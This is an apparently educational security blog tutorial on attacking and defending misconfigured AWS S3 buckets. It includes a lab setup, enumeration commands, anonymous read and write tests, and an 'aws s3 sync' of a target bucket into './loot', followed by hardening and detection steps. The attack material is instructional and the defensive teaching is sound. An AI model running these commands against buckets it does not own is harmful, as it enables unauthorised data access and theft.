Disclaimer: This article is for educational purposes and authorized security testing only. Enumerating or accessing AWS S3 buckets you do not own, or for which you lack explicit written authorization, may violate the AWS Acceptable Use Policy and computer-misuse laws (e.g., the US CFAA). Always operate within a signed engagement scope.
Introduction / Overview
Amazon S3 (Simple Storage Service) remains one of the most frequently misconfigured AWS services, and "open buckets" continue to leak credentials, PII, and source code. The root cause is rarely a flaw in S3 itself — it is the layered, sometimes contradictory access-control model: bucket policies, ACLs, Block Public Access (BPA) settings, IAM identity policies, and time-limited presigned URLs. A single permissive statement can override defenses you assumed were in place.
This article walks through how an attacker enumerates and exploits S3 misconfigurations, then gives equal weight to detection and hardening for defenders. If you are new to AWS attack surface, see also our AWS IAM privilege escalation primer and cloud recon fundamentals.
How it works / Background
S3 access is the union of several evaluation layers. An object request is allowed if any layer grants access and no explicit deny blocks it. The relevant controls are:
- Bucket policy — a resource-based JSON policy attached to the bucket. A statement with
"Principal": "*"ands3:GetObjectmakes objects world-readable. - ACLs — a legacy access mechanism. The grantee
http://acs.amazonaws.com/groups/global/AllUsersmeans "anyone," andAuthenticatedUsersmeans "any AWS account" — a common blind spot, since "authenticated" is not "trusted." - Block Public Access (BPA) — account- and bucket-level switches (
BlockPublicAcls,IgnorePublicAcls,BlockPublicPolicy,RestrictPublicBuckets) that override grants. Since April 2023 AWS enables BPA and disables ACLs by default on new buckets. - Presigned URLs — a URL signed with an IAM principal's credentials that grants temporary access to a single object/operation, valid up to the credential lifetime (max 7 days for SigV4 with long-term keys).
The classic failure is bucket-policy or ACL public exposure when BPA is off, or a leaked presigned URL that lives far longer than intended.
Prerequisites / Lab setup
Build a deliberately weak bucket in an account you own so you can practice safely.
# Create a test bucket and disable Block Public Access (lab only!)
aws s3api create-bucket --bucket yunolay-s3-lab-$RANDOM --region us-east-1
BUCKET=yunolay-s3-lab-12345
aws s3api put-public-access-block --bucket "$BUCKET" \
--public-access-block-configuration \
"BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"
# Attach a public-read bucket policy (intentional misconfig)
cat > policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::REPLACE_BUCKET/*"
}]
}
JSON
sed -i '' "s/REPLACE_BUCKET/$BUCKET/" policy.json
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file://policy.json
echo "secret-data" | aws s3 cp - "s3://$BUCKET/flag.txt"BashTooling you'll want: the AWS CLI v2, awscli with --no-sign-request, and enumeration tools like cloud_enum and s3scanner.
Walkthrough / PoC
1. Bucket discovery (s3 enum)
Bucket names are global and predictable (company-backups, company-dev). Brute-force candidate names and check existence by HTTP status — 403 means the bucket exists but is private, 404 means no such bucket, 200 means listable.
# Quick existence check without credentials
curl -s -o /dev/null -w "%{http_code}\n" "https://$BUCKET.s3.amazonaws.com/"
# Permutation-based enumeration across AWS, Azure, GCP
python3 cloud_enum.py -k yunolay -k yunolay-prod --disable-azure --disable-gcp
# Dedicated S3 scanner with permission probing
s3scanner scan --bucket "$BUCKET"Bash2. Anonymous access checks
Test the four common anonymous capabilities: list, read, write, and ACL read.
# List objects anonymously (public READ ACL / listable policy)
aws s3 ls "s3://$BUCKET/" --no-sign-request
# Download an object anonymously
aws s3 cp "s3://$BUCKET/flag.txt" - --no-sign-request
# Test anonymous WRITE (most dangerous — enables defacement/malware)
echo "pwned" | aws s3 cp - "s3://$BUCKET/proof.txt" --no-sign-request
# Read the bucket ACL to spot AllUsers / AuthenticatedUsers grants
aws s3api get-bucket-acl --bucket "$BUCKET" --no-sign-requestBashIf get-object-acl or put-object-acl succeed anonymously, the bucket grants WRITE_ACP/READ_ACP, letting an attacker change object ownership or grant themselves persistent access.
3. Authenticated-but-untrusted access
Many buckets restrict to AuthenticatedUsers. Any AWS account satisfies this. With your own free AWS keys configured, retry the same commands without --no-sign-request:
aws s3 ls "s3://target-bucket/" --profile attacker
aws s3 sync "s3://target-bucket/" ./loot --profile attackerBash4. Abusing presigned URLs
Presigned URLs leak constantly in HTML, JS bundles, JIRA tickets, and Slack. Anyone holding the URL inherits the signer's permissions until expiry. Inspect a captured URL's expiry from its query string:
# X-Amz-Expires is seconds-from-signing; X-Amz-Date is the signing time
echo "$URL" | grep -oE 'X-Amz-(Expires|Date)=[^&]+'BashAs a tester you can also demonstrate the risk by generating one and showing it bypasses bucket privacy:
aws s3 presign "s3://$BUCKET/flag.txt" --expires-in 604800
# -> anyone with this URL reads flag.txt for 7 days, no AWS creds neededBashMermaid diagram

The diagram shows that Block Public Access short-circuits public grants, while a leaked presigned URL bypasses bucket policy entirely because it carries its own valid signature.
Detection & Defense (Blue Team)
Defense must match the offensive surface layer for layer.
1. Enforce Block Public Access everywhere. Turn it on at the account level so individual buckets cannot opt out by accident.
aws s3control put-public-access-block \
--account-id 111122223333 \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"Bash2. Disable ACLs. Set the Object Ownership to BucketOwnerEnforced, which removes ACLs entirely and forces policy-only access control (default on new buckets since April 2023).
aws s3api put-bucket-ownership-controls --bucket "$BUCKET" \
--ownership-controls 'Rules=[{ObjectOwnership=BucketOwnerEnforced}]'Bash3. Continuous detection. Enable IAM Access Analyzer to flag any bucket policy granting external/public access, and turn on AWS Config rules s3-bucket-public-read-prohibited, s3-bucket-public-write-prohibited, and s3-account-level-public-access-blocks. Amazon GuardDuty S3 Protection alerts on anomalous access patterns and credential-based exfiltration. Map alerting to MITRE ATT&CK T1530 (Data from Cloud Storage Object) and T1619 (Cloud Storage Object Discovery).
4. Log and hunt. Enable S3 data events in CloudTrail (object-level GetObject/PutObject are not logged by default). Hunt for anonymous access where userIdentity.type is AWSService/Anonymous or for spikes in 403 then 200 patterns indicating successful enumeration.
-- CloudTrail Lake / Athena: anonymous or unauthenticated S3 reads
SELECT eventTime, sourceIPAddress, requestParameters.bucketName
FROM cloudtrail_logs
WHERE eventSource = 's3.amazonaws.com'
AND eventName = 'GetObject'
AND userIdentity.accountId IS NULL;SQL5. Constrain presigned URLs. Use short --expires-in values, issue them from a role with least privilege (so the URL inherits minimal scope), and prefer VPC endpoints plus aws:SourceVpce policy conditions. Add aws:SecureTransport and IP/aws:PrincipalOrgID conditions to bucket policies to deny anything off your trusted network.
6. Encrypt and version. Enable default SSE-KMS with a CMK and kms:ViaService conditions so even a public-read object cannot be decrypted without KMS access, and enable versioning + MFA Delete to recover from anonymous writes.
Conclusion
S3 breaches are almost always misconfiguration, not exploitation. Attackers win by enumerating predictable bucket names, testing anonymous and authenticated-but-untrusted access, and harvesting long-lived presigned URLs. Defenders win by enforcing account-wide Block Public Access, disabling ACLs via BucketOwnerEnforced, enabling Access Analyzer/Config/GuardDuty, logging object-level data events, and tightly scoping presigned URLs. Treat every Principal: "*" and every AuthenticatedUsers grant as a finding until proven intentional. For the IAM side of cloud attacks, continue with our least-privilege policy design guide.
References
- MITRE ATT&CK: T1530 Data from Cloud Storage, T1619 Cloud Storage Object Discovery
- AWS Docs: Blocking public access to your S3 storage
- AWS Docs: Controlling ownership of objects (BucketOwnerEnforced)
- AWS Docs: Sharing objects with presigned URLs
- HackTricks: AWS S3 Enumeration & Post-Exploitation
- Tools: cloud_enum, S3Scanner
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments